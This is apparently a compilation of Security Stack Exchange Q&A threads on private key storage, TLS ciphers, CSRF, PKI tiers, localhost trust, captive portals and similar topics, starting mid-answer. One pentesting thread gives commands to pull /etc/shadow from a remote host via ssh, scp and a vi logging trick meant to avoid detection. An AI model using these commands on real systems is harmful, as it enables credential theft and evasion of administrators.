In practice, this will make no difference. You will lose 1 bit of security, which can be offset by just increasing the length of the password in your password manager.


Where should I store a private key for a web application? May be a duplicate of "How to store a private RSA key for an application?"

So I was asked to make a web interface in PHP that allows visitors to check the signature of a file using SHA 256 with RSA encryption and, in a restricted area, authorized users can create signature for given files. The application will be certainly running on shared web hosting services, on the internet (not in a local network). I know that there is no 100% reliable way to store private keys, but what are the principal options that I have to store that private key the safest way ?

Side note : I know that the idea of creating a web interface for such a task is not safe, and it would be way more secure to only publish the public key and let the end users check themselves the signature, but that's what my client absolutely wants, so ...

So, let's get it out of the way first - there's no point in encrypting the key.  Because to decrypt it, you'll need THAT key, which will then need storing.  It becomes a chicken and egg problem - ultimately, you need something stored in cleartext SOMEWHERE.

So where.  The traditional answer is in a file on the filesystem with only read access for the user whom the application is running as.  You then ensure that only this application runs as that user and that is about as secure as you can do.

There are other options, though.  You can use a Hardware Security Module (HSM) to store the key.  They have some more sophisticated options for accessing the key.  This is pricey, whether you are hosting yourself or hosted externally (and not all hosting providers offer dedicated HSMs).  You could also host a key management system, like Hashiko's Vault or KeyWhiz (preferably on another system, only accessible to this system).  These are designed to solve this problem and have some more sophisticated options for accessing the key as well.

You'll probably want to be on a dedicated host regardless, though - shared hosts add extra security concerns and layers that will cause you to be uncertain about exactly who has access to what.


IDEA and DES cipher suites support in TLS 1.2? As per the following RFC IDEA and DES suites are removed from TLS 1.2
 https://tools.ietf.org/html/rfc5469#section-1
 https://tools.ietf.org/html/rfc5246#section-2
Still I have seen couple of servers that negotiate/completes TLS handshake with TLS 1.2 and IDEA/DES suites. Any official reference, why this happens?
Here is one example where server completes TLS handshake with IDEA suite using TLS 1.2

Here's my interpretation:

When they write that DES and IDEA have been "removed from TLS version 1.2", they just mean literally that: They are not explained in the TLS 1.2 standard, RFC 5246. Nowhere does it say that you MUST NOT implement them.

If you were implementing TLS 1.1, you might have said, "I'm implementing TLS 1.1, specified in RFC 4346, including the IDEA cipher suite." Now you would say, "I'm implementing TLS 1.2, specified in RFC 5246, additionally incorporating the IDEA cipher suite, specified in RFC 5469."

A modern TLS implementation is derived from a dazzling array of standards, from the IETF and other standards bodies. RFC 5246 alone has dozens of references; even the "Updated by" line lists nine newer RFCs, adding a variety of cipher suites, extensions and other features, and deprecating and prohibiting others.

The official TLS Cipher Suite Registry lists all currently specified cipher suites, with links to each of their RFCs. Indeed, none of the cipher suites currently en vogue are specified directly in 5246. The list in Appendix C is brief, and largely obsolete. ECC was previously specified in RFC 4492, incorporated by reference with minor changes. AES-GCM is specified in RFC 5288. ChaCha20-Poly1305 was recently added by RFC 7905.

So, i don't think implementing IDEA is actually prohibited or undefined. It was just moved from the primary document to a separate standard to save space and discourage use. You can do it — you just probably shouldn't.

(By the way, DES is terrible and insecure. Run far, far away. IDEA is by and large decent, as ciphers go, but there are no defined TLS cipher suites that let you use it with modern key exchange or MAC algorithms, so you'd be missing out.)

On a related note, the standard for HTTP/2, RFC 7540, goes out of its way (and somewhat beyond its own scope) to make a long list of older TLS cipher suites — Appendix A — and encourage HTTP/2 implementations to prohibit them. DES and IDEA are listed. But it's not required, and this has no direct implications for general TLS implementations.


What are the major security differences between Chromium and Firefox? I'm not sure how to get an informed, unbiased comparison between the security models of Firefox and Chromium. I've tried to google it, but all I find are uninformed anecdotes from random news sites, and most of the results are outdated and not talking about current versions of these browsers.

The general consensus seems to be that Chromium is superior in terms of security because of its better sandboxing implementation, but I don't know if that's even true. What are the major differences between the security models of the two browsers?

Chrome handles web content of tabs (including javascript execution) within sandboxed processes. This means that even if Chrome's javascript engine has an exploitable bug such as a buffer overflow or memory corruption vulnerability which can be used by an attacker to get remote code execution, then the attacker's code still can't get access to the user's filesystem without another exploit against a second bug in the sandbox system itself.

Firefox doesn't use a process sandbox like this, so a single vulnerability in its javascript engine for example is all that's needed for an attacker to get access to your filesystem, etc. Firefox uses a single process for most of everything currently, which means that it can't make effective use of process sandboxing. There is ongoing work on this as part of the e10s project.


Find out the IP or hostname of the firewall? Is there a way to find the IP of the firewall which is blocking my access to an endpoint?

I tried netcat / nmap but not much luck.

I need some form of a tool which does a traceroute to the subnet or IP which is blocking the access so I can know which firewall is blocking my  access to a port on an endpoint?

If the firewall is operating in transparent mode at the IP level and does not decrease the TTL of the IP packet, for example, it is not going to be possible by TCP/UDP tools to know which exact router/firewall is blocking/dropping.

You can guess that there is something that is blocking/dropping the packets but if the firewall is in transparent mode I would say that the response is 'no'.

Also consider that your connection can receive RST packets that reset the connection from any router/firewall on the path.


QR code issue. Am I in danger? Someone had asked me to take a photo, “from my mobile phone” of what looked like a QR code and above that code was a string of numbers that was on “his mobile phone screen”.. (As he wanted to then read my screen, “the string of numbers” , to type it in to his phone as of course he couldn’t remember all the numbers and didn’t have a pen and paper at the time.

I didn’t really think anything of it at the time so I did it, then I deleted the photo from my phone.

Is this in any way unsafe? At the time I thought nothing of it.. but I’d like to know if it is unsafe.

QR codes contains data that most phones can read when they take a photo.

For example, the following QR code contains a link to your question.

As a human can't easily read a QR code, he requested you to use your phone to help him to read it. The digit sequence you saw was the data he needed.

You are not in danger.


Problems during Pen-testing of SCADA systems Is there a way to monitor the way the SCADA systems behave 'during pen-testing or security audit', and find out the implications of just port scans and/or monitor the state of activity while sending a payload ? Is it possible for a device to get faulty because of a SCADA Security Audit ?

The single most important rule when testing production SCADA systems is never test production SCADA systems if there is a risk of taking down any critical service, or spilling an oil pipeline etc. Always use a test environment.

If however you have to test in live, the best rule to adhere to is to ask for confirmation of every step - written confirmation, from the system engineer. This does make a proper test very cumbersome and expensive,but dramatically reduces the risk of you doing something fatal.

And if it is expensive enough, perhaps for next year's test you might get a test environment...


Moving from a one tier to a two tier Microsoft Certificate Authority hierachy Right now we have a single Microsoft Enterprise Root CA which issues certificates to our VPN users for two-factor authentication. We're planning to extend the use of the CA to issue certificates for RDP and also Dell Open Manage (systems management application).
Most of the reading I've done so far has suggested our current architecture isn't ideal - as I understand it we should have an Enterprise Root CA which is hardened (maybe even powered off?) and then use an issuing CA to actually issue the certificates. Ideally, the issuing CA would be clustered as well for reliability reasons.

How can we migrate from a single-tier approach to a two-tier approach as discussed above.

Is this possible to do without breaking our existing VPN certificates and having to re-issue them?

Does anyone know of any books/blogs/websites which explain this process in a more how-to/step-by-step manner?

A lot of the material I can find on the topic is on Microsoft's Technet website which while useful isn't necessarily a great how-to.

It is theoretically possible to migrate to the "two tier" approach without having to re-issue the certificates, but whether this is a good idea is not clear.

When some system verifies a certificate, it builds a chain leading from a trust anchor (a "root certificate" which is hardcoded in that system) to the certificate which is to validate (called "EE" as "end-entity"). The basic idea is that each certificate in the chain contains a public key which is used to verify the signature of the next certificate. The root certificate is also signed because the certificate format includes a field for a signature and that field is not optional; however, nobody verifies that signature (the trust anchor is trusted "by definition", not because it is signed) and it is traditional for a root certificate to be self-signed.

The verifier will accept the chain if the signatures are cryptographically correct, and also if the certificate fulfill a horde of properties which are detailed in X.509. To make things simple, each certificate has a subject name and an issuer name; the issuer name should be equal to the subject name of the certificate which issued it (i.e. the previous certificate in the chain). There again, the root certificate has no issuer, so it is traditional (but not required) that the root has itself as issuer (its issuer and subject names are equal).

So you want to replace the root by the combination of a new root, and an intermediate CA issued by the new root. If the intermediate CA certificate contains the same subject name and the same public key than the old root (and the same "key identifier" and other X.509 extensions), then the previously issued EE certificates will be verifiable against both the old root (as they do presently) and against the new root, as part of a chain which begins with the new root, goes through the intermediate CA, and ends on the EE.

I have no idea whether Microsoft Enterprise Root CA will offer a convenient interface for creating that intermediate CA which reuses the characteristics (name, public key...) from the old root. But if it does, then creating such an intermediate CA will do half of the work of the migration, without requiring immediate replacement of existing VPN certificates.

You are still not done, though. The new root must be deployed, i.e. verifiers must be made aware of the new root, and should also forget about the old root (the latter can be slightly delayed). This is the expensive part and it is tricky because the trust anchor is, well, the foundation of your trust system. You do not want to "educate" your users into fiddling with the trust anchors just because an administrative-looking email told them to do so.

Now there is a structural technicality which must be well understood. In a VPN with client certificates, the verifier for the client certificates is the server. However, such VPN probably also uses server certificates, which are verified by the client software. When you change the root CA used to verify client certificates, then the new root must be inserted in the system which does that verification, and that's the server (so, presumably, this is easy). You need to change the trust anchors in clients only when you switch to a new root certificate in the PKI which issues server certificates. Possibly, you used the same root for both sides, but this is not an absolute requirement.

The main reason why you would want to have an intermediate CA is for damage containment. The intermediate CA is the one which signs new certificates, on a daily basis. Thus, it is probably online, possibly duplicated, and thus vulnerable to attacks. If it gets compromised, you can then power the root to create a new intermediate CA (with a new key) and revoke the previous intermediate CA. Thus, you can recover from a compromise without having to change the trust settings in verifiers. You must still issue new certificates to replace the certificates which had been issued by the now-compromised CA.'

In your VPN system, I assume that there is a single server, or maybe a select few servers, which you directly control. Changing the trust anchor in that (these) server(s) ought to be easy and cheap. Similarly, issuing new certificates for the servers is easy. And you do not do that often, so the root for the server certificates can be offline and does not need to scale: it will be executed once or twice per year, no more. There is little need to have a two-tier approach for the server certificates since the intermediate CA can be managed in the same way than what you would do with a root: offline, down most of the time, kept in a safe. As for the client certificates, you issue many certificates, so the CA for those must be up and networked and scalable and thus vulnerable; but if it gets compromised, then changing the trust anchor for the client certificates is not hard: that trust anchor is in the single VPN server. So while you can have a two-tier approach there, that extra level will not buy you much: it will only save the cost of changing the trust anchor in a dozen servers, i.e. a ten-minute job for a sysadmin, at most. The real cost for a compromise of the CA which issued client certificates is that new client certificates must be issued, immediately, and having a two-tier CA changes nothing to it.

"Two tier" PKI with intermediate CA certificates is a good idea when there are systems where both the certificate owner and the verifier are out of easy control by whoever manages the PKI. In a VPN / RDP setup, this applies if you have hundreds of servers, making the cost of changing either the server certificates, or the trust anchors used by the servers, non negligible.

Now I have been overly verbose. To sum up:

Transforming a root CA into an intermediate CA without impacting the previously issued certificates is theoretically possible.
Whether a given PKI system implementation offers an easy-to-use interface for that is another question.
A "two tier" is a good idea in some situations, but for others (including what I assume about a typical VPN installation) it does not buy you much, and since it adds some complexity, it is unclear whether it is worth the effort.
To think about a PKI, you have to identify who verifies which certificates. In particular, the server PKI (the PKI which issues certificates for servers, which are verified by clients) and the client PKI (the PKI which issues certificates for clients, which are verified by servers) need not be the same and probably call for distinct management processes.


Encrypting data within SQLite database in Java - How to store key? So, a bit of context before I start may be handy.
I am developing a Java desktop application which will use an SQLite database to store/process data. The application will utilize authentication to access the program for editing data, adding/deleting data, etc. But I don't want an attacker to be able to pull the laptop's hard drive and access the data without first authenticating to Windows.

My question is, if I were to encrypt certain data before inserting into the SQLite database with say...AES256, is it possible to decrypt the data without the user having to insert a password AND without hardcoding the password in the application? I really think the overhead of the user having to remember 2 passwords (one for application authentication and one for database encryption/decryption) is infeasable because if they forget the encryption/decryption password, their data is gone..

Have any of you come across any solutions that you can share or suggest some ideas that may be of help?

When the user do the first login your software will ask for a new password.
At this time the DB should be empty.

Now you have a UserPassword and an empty DB.
So the software generate a new random DBdataKey that will be used to encrypt/decrypt the DB contents. To encrypt/decrypt use one of the many known algorithms, like AES or similar one.

Now you create 2 random salt string: PasswordSalt and DBdataKeySalt.
Store PasswordSalt and DBdataKeySalt in the DB as a clear text.

Use a hash function like pbkdf2 (or something like SHA2 or better) with UserPassword and DBdataKeySalt to obtain a DBdataKeyEncryptionKey

Now:
DBdataKey is the key you use to encrypt/decrypt the DB contents
DBdataKeyEncryptionKey is the key you use to encrypt/decrypt the DBdataKey

Use a hash function like pbkdf2 (or something like SHA2 or better) with UserPassword and PasswordSalt to create HashedSaltedUserPassword, a salted-hashed version of the UserPassword, then use DBdataKey to encrypt HasedSaltedUserPassword before storing it in the DB.

From now on you can use DBdataKey to encrypt/decrypt the data to/from the DB.

Now, when the user opens the application, you ask him for the password, then use the inputed password with DBdataKeySalt (which is stored in cleartext) to regenerate the DBdataKeyEncryptionKey, and then use the obtained DBdataKeyEncryptionKey to decrypt the DBdataKey , and so you can use the decrypted DBdataKey to read the DB.

Now use the DBdataKey to decrypt the HashedSaltedUserPassword and compare it with the one you regenerated using the inputed password and the PasswordSalt (which is stored in cleartext) just to double-check that the login information is correct.

If the user inputs the wrong password, when you use the DBdataKeyEncryptionKey to decrypt the DBdataKey the decrypt function will give you a different value (garbage). Using that (wrong) value to decrypt the HashedSaltedUserPassword will result in more garbage values, which won't match the hash.

When the user changes the UserPassword  then you only need to decrypt the DBdataKey  with the old password and re-encrypt it with the new password, but the DBdataKey won't change, so you won't need to re-encrypt the db contents when the user changes its password.

Reference: I haven't invented anything, this is just a mix of two well known techniques:

How user-login & password salting/hashing is done
How on-the-fly disk encryption can be implemented (applied to DB encryption/decryption)


How do I encrypt external drive with Password which is compatible with both Linux and Windows? I wanted to encrypt my external drive with password, which is compatible in both Linux and Windows.

Truecrypt is an option. But the development of it is stopped few months back.

I came across crpytsetup in Ubuntu, which is said to work well in Windows with FreeOTFE.

I tried encrypting using cryptsetup in Ubuntu, when I put the same drive in Windows, It gave a warning message for format disk. When i gave format, it got formatted and started working well without any password. It is an unsafe option :(

Is there any other option which is compatible well with Windows and Linux ensuring the safety of the data? Okay if paid solution.

Thank you

I don't think you understood what Windows did when it formatted the disk.  When you plugged in the external drive, Windows couldn't read the filesystem (because it's encrypted) it therefore assumed the drive had no filesystem and offered to format the drive.  You selected yes.  Windows then deleted everything on the drive and overwrote it with a clean NTFS filesystem, with no data.  This isn't insecure, because there's no data exposed to the Windows user.  None of the encrypted data was ever available to any of the Windows users or processes.

I haven't explored FreeOTFE, but I assume if you ignore the Windows format option and instead install and use FreeOTFE you won't have a problem.  Once the disk is decrypted, Windows will be able to read the filesystem and will be able to see data on the drive.


Why are CSRF vulnerabilities considered to be a problem with the web app, rather than with the browser? From microsoft docs:

  CSRF vulnerabilities are fundamentally a problem with the web app, not the end user.

And indeed, the typical solution (CSRF tokens) is a server-side solution rather than client-side solution.

That may be a philosophical question, but... I'm not sure if I understand this approach. For me, CSRF vulnerability is when the browser makes an unauthorized request; and thus this is a problem with the browser. So, client-side measures should be taken, not server side. It is the browser which must stop making unauthorized requests.

CSRF tokens don't seem to solve this fundamental problem. Rogue sites may still use the browser to make malicious requests. Only that particular type of malicious requests is solved, but others are not. One possibility that comes to my mind: a malicious site may make the browser send a lot of repeated requests to another site, effectively making the browser participate in a DDOS attack.

So instead, to solve this issue... why not make the browsers more secure? One simplest example: By default, disallow cross-site requests at all? This seems to make sense from the theoretical POV: why should different domains (this should mean: different parties) want to talk to themselves through the user?

Theoretically, you are right: the web could have been designed in such a way that browsers could detect and prevent these attacks. However, it was not designed that way, and there is no trivial fix that a browser can apply that doesn't break large number of existing websites.

  One simplest example: By default, disallow cross-site requests at all?

A "cross-site request", in the context of CSRF, could be as simple as "an <img> tag referencing an image hosted on another domain". Preventing such requests would break so many websites that the browser would simply be considered broken by all its users.

  It is the browser which must stop making unauthorized requests.

The request is only "unauthorised" in the sense that a particular user didn't request it. This, on the face of it, is a more promising approach: allow the request to be made, but don't let it be authenticated as the action of any particular user.

The problem here is that the vast majority of authentication used by web applications is not actually visible to the browser as authentication at all; at most, the browser knows that the server has requested that one or more opaque strings ("cookies") be returned to it on the next request.

So, browsers would need to stop sending all cookies in requests which are "cross-site", in the sense of CSRF - when requesting images and other assets for use in an HTML page served from a different domain; when submitting forms targetting a different domain; etc.

  why should different domains (this should mean: different parties) want to talk to themselves through the user?

One obvious use case is the tracking systems used by analytics and advertising services - you might argue we'd be better off if browsers did just break them, but since the world's most popular web browser right now is developed by a company that makes a large portion of its revenue from such services, this is unlikely to happen.

Sometimes, communicating between services in the browser actually enhances the user's privacy - if the only communication that can happen is on the server, both servers have to know and discuss the user's identity.

If the web had evolved with these security considerations in mind, the safe uses of CSRF-like behaviour would be implemented by other means; but even if new protocols and APIs are invented now, it is very hard to change the default behaviour of browsers without breaking a large amount of existing content.

As such, features to protect against it, however standardised, will always be opt in, so require some work by the developer of the application, to say "I'm not relying on feature X, so please disable it so it can't be abused". Things like Content Security Policy headers, and the HttpOnly and SameSite cookie options, are such opt-ins. Things like CSRF tokens in forms are ways of not relying on the user to have an up to date browser that implements all the necessary protections.


Is it secure to use *no authentication* for services listening only on localhost? I have many applications installed on my server that use a webui frontend to control the application.

Since I am the only user of the server, I usually bind these applications to 127.0.0.1.

As the services are bound to localhost, I have assumed that I can disable authentication (usually username+password), for these applications, because nobody outside of my local machine can even access the services.

I access the services by using an SSH tunnel; so essentially it gives me access to the server's local services from any machine.

An example: I installed BitTorrent Sync. The app uses a webui that I bind to 127.0.0.1. I then disable username+password auth for this webui, and access it using an SSH tunnel from my remote location.

My question is, is this secure?
Would it be better practice to enable the application's authentication scheme? (I assume not, since it is bound localhost).
Is it possible for an attacker to somehow spoof 127.0.0.1 and get access?

They could try spoofing 127.0.0.1 (I'm not sure if the network card would accept it or not, they shouldn't, but who knows if every setup handles this properly), but even if they could they wouldn't get a response as long as it is a webui.  It might be a problem for UDP connections possibly, but web requests aren't UDP.

The larger concern would be that if an attacker ever got some level of local access to your server, they would then be able to access your services more easily.  For example, if they could get some type of proxy on your server, they would then have full access as they would be able to behave as localhost.

If they get complete access to the server, you are probably hosed anyway, but authentication on the services, especially if it pushes all the way to being used to protect the data stores themselves, could limit the damage of a compromised server.


When should I not use CSRF protection for a form? By default, I have CSRF protection for all my forms using a token.

However I noticed another web application that has a similar function to one of my forms. ANd they did not use CSRF token.

So I assumed they did not protect against CSRF attack for that form.

So

question 1) other than CSRF token, there should not be another way to protect against CSRF right?

I am assuming the answer is this is the only way. hence my main question is

question 2) when should you not use CSRF protection?

I know one possible instance which is when the POST form is targeted at external URLs.

I read it at django docs.

Are there other instances when you should not use CSRF protection or unnecessary?

UPDATE

a) other methods of CSRF protection include user re-authentication

b) you CAN get away without protecting against CSRF for form POSTBACKs when you do not require the user to be logged in. (see nbnh's answers and comments)

Yes, using tokens is the only way to protect reliably against CSRF attacks.

Whether a protection is required or not depends on the actions the program does with the submitted data.

As a rule of thumb: If data is modified with the permissions or context of the current user, you need the protection.

If no modifications take place, it may be okay to not protect. A common example are search forms and results. Please note that logging which searches are done by which user is a kind of modification and therefore the form needs to be protected.


Can attackers substitute/place my queries to/from provider? Can attackers substitute/replace my queries to/from provider? I mean I do HTTP query and its modified on provider-side so query goes modified to a server or reversal situation, when I get modified answer from server by the modifying response on provider-side?

This happens all the time in situations that do not need an attacker. A "proxy" is a server that funnels all connections through it and then passes it on to the real destination. A proxy can modify all the data passed through it in either direction to do things like remove images, or display a safe page if the user has navigated to an unapproved site. This kind of thing can happen in companies, schools, or government buildings to protect the users.

But, yes, attackers can do the same thing in an attack called "Man in the Middle". The most common example is at an open public wifi (like a coffee shop), where an attacker funnels all your traffic through his computer to read (or modify) the traffic.


Does every modern buffer overflow require multiple exploits in end user devices to be utilized? On modern user oriented devices, such as Android phones, iPhones, PCs(Windows, MacOS, Linux), if there is a remote buffer overflow 0 day, are they only exploitable with the aid of multiple vulnerabilities? An example of this is the need to bypass ASLR or NX. It seems on modern devices exploiting a buffer overflow has become very complicated and expensive to chain together multiple 0 days in order to exploit a fully patched system.

It depends on your definition of "exploit", what piece of software you're targeting, and where the bug is.

For example, if I found a bug in Chrome's renderer (i.e. the thing that draws webpages on your screen) that gave me code execution, I'd only have code execution in the sandboxed context of the renderer process that runs in low integrity mode. I'd then need to find a sandbox escape (e.g. via exploiting a bug in one of the privileged Chrome IPC services offered to the renderer process) that allows me to gain code execution in a higher privileged Chrome process, then possibly another bug to escape API restrictions or other sandboxing protections. However, if I were to find a bug in the privileged Chrome process itself that was somehow possible to trigger from JavaScript, I would probably need only that bug.

By comparison, if I found a bug in Call of Duty 5 that let me gain remote code execution from a corrupted voice chat packet (using that example because voice chat is usually direct peer-to-peer) then I might get immediate code execution as the user.

Bypassing mitigations isn't itself considered an exploit - we usually refer to it as a technique. You may have to leverage multiple techniques in order to build a successful exploit, and those techniques may have to rely upon problems or mistakes in the code or build config, but those problems aren't generally considered vulnerabilities. As an example, a process might have ASLR but load a DLL which was not configured with ASLR enabled, allowing an attacker who was building an exploit to utilise the fixed address space of that module in order to build a ROP chain. The lack of ASLR on that module might be raised as an issue alongside the actual vulnerability, but most would not consider it a vulnerability on its own.

You're correct that it is generally difficult to bypass all mitigations on modern systems. The exploit mitigations on modern operating systems are generally doing their jobs well. On a heap use-after-free bug in a Windows application that has CFG + (Hi)ASLR + DEP + ACG + EAF/IAF enabled you're pretty much relying on pure luck that the bug you found and the memory layout you're presented with gives you enough control to be able to come up with a workable JOP chain. This often requires great skill and weeks of work. Ultimately the exploit mitigations are designed to increase the cost of developing working exploits when vulnerabilities are found, and I would say that the economics of building exploits on properly configured modern software is shifting further away from the attackers' favour.


If Postgres trusts localhost connections, is it dangerous to visit random websites? If I have a locally running Postgres configured to trust all connections from localhost, does it mean any website I visit has the ability to make a localhost-to-localhost connection to Postgres with JavaScript running in my browser?

You basically rely on the strictness of the PostgreSQL protocol parser. In the past there were several attacks where too much tolerance against malformed input made attacks from the browser possible, even though the browser did not correctly speak the application protocol. See for example HTML Form Protocol Attack or more recently NAT SLIPStreaming. This made the browser block several ports for outgoing connections, but notably the default PostgreSQL port 5432 does not seem to be one of these.
While it might work in this specific case it is a bad idea on general to rely on the unknown robustness of a implementation. This is especially true if there are other options: PostgreSQL can use UNIX domain sockets. With UNIX domain sockets these are not only safe against access from the browser but also the access from other users on the system can be much easier restricted, since UNIX domain sockets will use file system permissions (i.e. user, group, ...) for access control.


Defending against DoS via product reservation An e-commerce site should reserve products for a user while they're going through the payment process (more info). This creates a potential denial-of-service risk where an attacker could reserve many products and never complete payment - reserving all the stock and preventing legitimate sales.
How can this be defended against?
One option I considered is doing as much verification as possible on the user before allowing reservations. But there's not much verification you can do - the whole idea is that anyone can buy from your store. You could potentially require a verified email, but that's inconvenient for users, and it's still quite easy for an attacker to verify a large batch of emails.

I've seen 2 main solutions:
Your products are being reserved for X minutes
I've seen notices like this occasionally, but only on places where inventory really matters (usually ticketing sites).
I've also built a number of eCommerce sites for small businesses, and their preferred solution is always the same:
Just ignore it
It's often just not a critical factor, even if you don't have JIT manufacturing capabilities.  Sometimes you can just have it drop shipped from the manufacturer.  Most of the time the turn over on your inventory is low enough that it just doesn't matter.  Sometimes you have to reach out to the customer after they place the order and let them know about the delay.
In short, this is more of a business problem, and not all businesses care.


Dynamic application security testing tools Is there a Dynamic application security testing (DAST) tool which can run over dynamic html /JavaScript ajax applications?  An open source option would be ideal - or if that does not exist, then a feature of an Enterprise tool would be the silver medal answer.

I have an ExtJS(JavaScript) application and tried using HP Fortify, but this tool sees only the index page and cannot run analysis of the application as a result.

I am not looking for a tool to provide protection by itself, but as one item in my tool belt to aid in providing some notification that obvious or glaring errors are present in the application (Other tools being code-reviews, penetration testing, etc)  Any result set from the tool should inform the presence of problems, but I understand that no tool would be able to inform of their absence.

Also, any tool would be used in addition to concurrent penetration testing.  Examples where you personally have experience with the tool will be given an answer, as after demo of IBM AppScan and discussion of NTO Spider, I still have nothing concrete (not marketing material) which indicates if this problem is just a rabbit hole.

You are looking for the "silver bullet" for vulnerability scanning.  Every vulnerability scanner claims to support JavaScript and Web Service based applications and its a complete and total lie.  The truth is that this is a very difficult problem to solve, and a sales team will tell you anything to get you to open your wallet.

I test these applications using a blended manual and automated approach.  The tool I use is Burp Intruder.   I manually use the application with a browser,  Burp tracks the requests and then I send them to intruder for fuzzing.   If you are not comfortable building your own fuzz test cases and writing exploit code,  then you should probably hire a professional penetration tester.

Just running a tool is not going to keep from getting hacked.


Methods to copy files from a remote Linux system by order of detectability (assuming remote shell with root privleges) I'm connected to a remote VM for pentesting practice. I have an sh shell with root privileges on that system and want to know ways I can get a copy of the contents of /etc/shadow onto my local machine for later viewing.

Assuming I haven't been detected up to that point, what are standard linux methods/programs to get the contents of /etc/shadow, or some other file, by order of detectability to the remote system's admin?

Some methods have been suggested such as cat+copy+paste, netcat, and scp.
Cat followed by a copy and paste seems primitive, messy, and error prone.
Netcat and scp seem less error prone, but I'm hesitant to use those because they seem noisier and more trackable since I have to enter my IP other other identifiable information in the remote shell session.

Why aren't you just logging (locally) everything you see and do?

$ script hax0r
Script started, file is hax0r
$ ssh vuln@target
<vuln> elevate_privileges
# vi harmless_file
:e /etc/shadow
(browse through the file if it doesn't fit on one screen)
:q
# exit
<vuln> exit
$ exit
Script done, file is hax0r

The contents of shadow are now in your local file, hax0r. You can skip some of the steps (like trying to hide the file access from the remote shell's history) if you want. Or use some other program (perhaps your terminal's built-in logging?) to capture your local shell's history.

Of course you could always:

$ ssh root@target cat /etc/shadow > remote_shadow

Or just:

$ scp root@target:/etc/shadow local_shadow


Is it worth it to use sshguard when only allowing ssh login from specific IP? I'm running a VPS (under ArchLinux) and was wondering if sshguard was useful in the following case.

My iptables rule for SSH in looks like this :

iptables -A INPUT -p tcp --source $Trusted --dport 22 -j ACCEPT

with $Trusted a set of Trusted IPs, currently only my VPN IP. Basically iptables deny all and then accept only what I need.

I had a look at sshguard and it requires to create an iptables chain and then use :

iptables -A INPUT -p tcp --dport 22 -j sshguard

I'm asking that question because to me it looks like adding this rule opens up ssh more than it is with an IP restriction.

Should I use sshguard normally or only use the following rule in case my Trusted IP has been spoofed ?

iptables -A INPUT -p tcp --source $Trusted --dport 22 -j sshguard

Thanks !

sshguard is useful when you can't whitelist connections, but you can, so it's not going to protect you to any greater degree than a simple whitelist.

sshguard is most useful when you cannot predict what IPs might legitimately connect to your service, so you use it to cut off any bad actors. FAQ

You don't have to worry about "IP Spoofing" because an attacker cannot spoof your IP and still be able to establish a connection. IP Spoofing is a threat in DoS scenarios, not in authentication scenarios.


What happens if my anti-CSRF token is compromised by an XSS attack? The interesting Stack Overflow question "Do cookies protect tokens against XSS attacks?" was closed as too broad, but as mentioned in a comment on it, there is a tangible question of "What happens if my anti-CSRF token is compromised by an XSS attack?"; it seems to me that answers to this question may provide information that will help people form opinions on the questions posed on Stack Overflow. Thus I'm posing said tangible question.

Let's assume that we're using the Double Submit Cookies method (unless there's a better method I'm unaware of) and we're storing JWTs (e.g., authentication tokens) in HttpOnly, Secure cookies.

The following Security Stack Exchange pages are relevant:

Can CSRF protection work even if an XSS vulnerability exists?
localStorage vs. HTTP-Only Cookies + XSRF: Is either better when it comes to XSS?
Is JWT in cookies with any CSRF solution just as vulnerable to XSS as JWT in localStorage?
Double Submit Cookies vulnerabilities
Why are cookies considered more secure against XSS?
Why does Double Submit Cookies require a separate cookie?
Does setting httponly prevent stealing a session using XSS?
Is there a strong protection against CSRF executed from the sames server via stored XSS?

UPDATE:

I've been reading more about anti-CSRF methods and came across this OWASP page comparing the Double Submit Cookies method to the alternative Synchronizer Design Pattern and the Encrypted Token Pattern, and stating that in terms of strength of defence they can be ordered as:

Synchronizer (i.e.,CSRF) Tokens
Double Cookie Defense
Encrypted Token Pattern

(OWASP also states that 1. requires session state whereas 2. and 3. require no server-side state. There's a discussion on whether the Encrypted Token Pattern's actually stateless in the comments on the article entitled Leveraging the Encrypted Token Pattern. Said article also describes shortfalls of 1. and 2. that 3. solves, apparently  without introducing new security concerns or architectural problems. As such, I don't know why OWASP listed it as third in terms of strength of defence. Perhaps due to the amount of testing that it's undergone at this point in time, since both it and Double Submit Cookies are relatively new; perhaps due to the discussion on statelessness/statefulness and replay attack protection in the article's comments? It'd be nice if there was an explanation of that ordering.)

Anyway... If anyone wants to respond to this question under the alternative assumption that either the Synchronizer Token Pattern or the Encrypted Token Pattern's being used instead, that would be neat.

If somebody has an XSS in your site, they can do anything they want on that origin -- submit any form, perform any operation, etc.  Javascript can modify the DOM in arbitrary ways, submit forms, modify the user's view, etc.

Consequently, stealing the CSRF token is the least of your worries -- the XSS allows anything on the same origin that a CSRF would allow.  The only time you might worry about this is if you share the same CSRF token across multiple origins (which would be a poor practice to begin with).


Httpclient redirect in coffee shops In some coffee shops that offer free WiFi (for instance Starbucks), I have noticed that attempting to use HTTP or HTTPS fails unless you accept a notification (on Windows at least) which looks something like the image below:

Attempting to open a webpage causes the browser to be momentarily highjacked by a 'httpclient' which redirects to one of the coffee shop's web pages (for instance, below). All subsequent pages opened appear to work normally.

My question is if this has any bearing on information security. It feels as if one of the coffee shop's machines is acting as a man-in-the-middle. Could this machine, if doing so, snoop on traffic?

What you are referring to is called a captive portal. It allows WiFi providers to authorise users, get confirmation for service agreement from them, display ads, require payment for extended usage time, etc. Its existence doesn't have security implications in itself (unless it was poorly implemented and leaking user-provided information, but that is on a different level).

However: when you connect to a WiFi which you do not control, from the moment you connected your device to the network your traffic can be (and is) captured and altered (this is why you are redirected to a captive portalーit is not used as a tool for MitM attack, it is the result of MitM attack*).

The only line of defence, is proper use of HTTPS for the sites that process sensitive information (after authorisation or whatever captive portal requires you to do). It means: (1) using HTTPS in the first place and (2) not accepting untrusted certificates.

* I use phrase "MitM attack" here to refer to the mechanism, not to the intentions. In case of reliable free WiFi providers it is not an attack, but their service model. And as you noticed, Microsoft recognises such actions as legitimate and displays a user-friendly notification.


How does Google not care about "spaces" in Application-specific passwords? I have recently setup "2-step verification" for my Google account.

One of the features is the ability to create "Application-specific passwords
" for devices that do not support the 2 step process. (Apps on smartphones such as Android, BlackBerry or iPhone, Mail clients such as Microsoft Outlook, Chat clients such as Google Talk or AIM)

When you create one of these passwords, Google tells you that the "spaces" don't matter.

Does this mean that…

passwords are sent in plaintext, and they can therefore strip out the spaces on the other end (I know mail clients may do this, but would Google products such as Gmail and Calendar or ActiveSync)
the hashing methods they use strip out the spaces (but they wouldn’t be able to control how 3rd party products hash)
they store two hashes of the passwords on their end, one with spaces & the other without (If this is the case, wouldn’t they have to store more than two, one for each possible combination of 3 places where a space may be)

